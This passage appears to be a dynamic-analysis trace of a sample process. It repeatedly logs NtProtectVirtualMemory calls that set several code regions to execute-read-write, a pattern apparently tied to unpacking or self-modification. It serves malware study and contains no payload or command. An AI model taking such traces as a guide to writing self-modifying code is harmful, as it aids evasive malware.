[0272.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.820] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.442] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.773] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 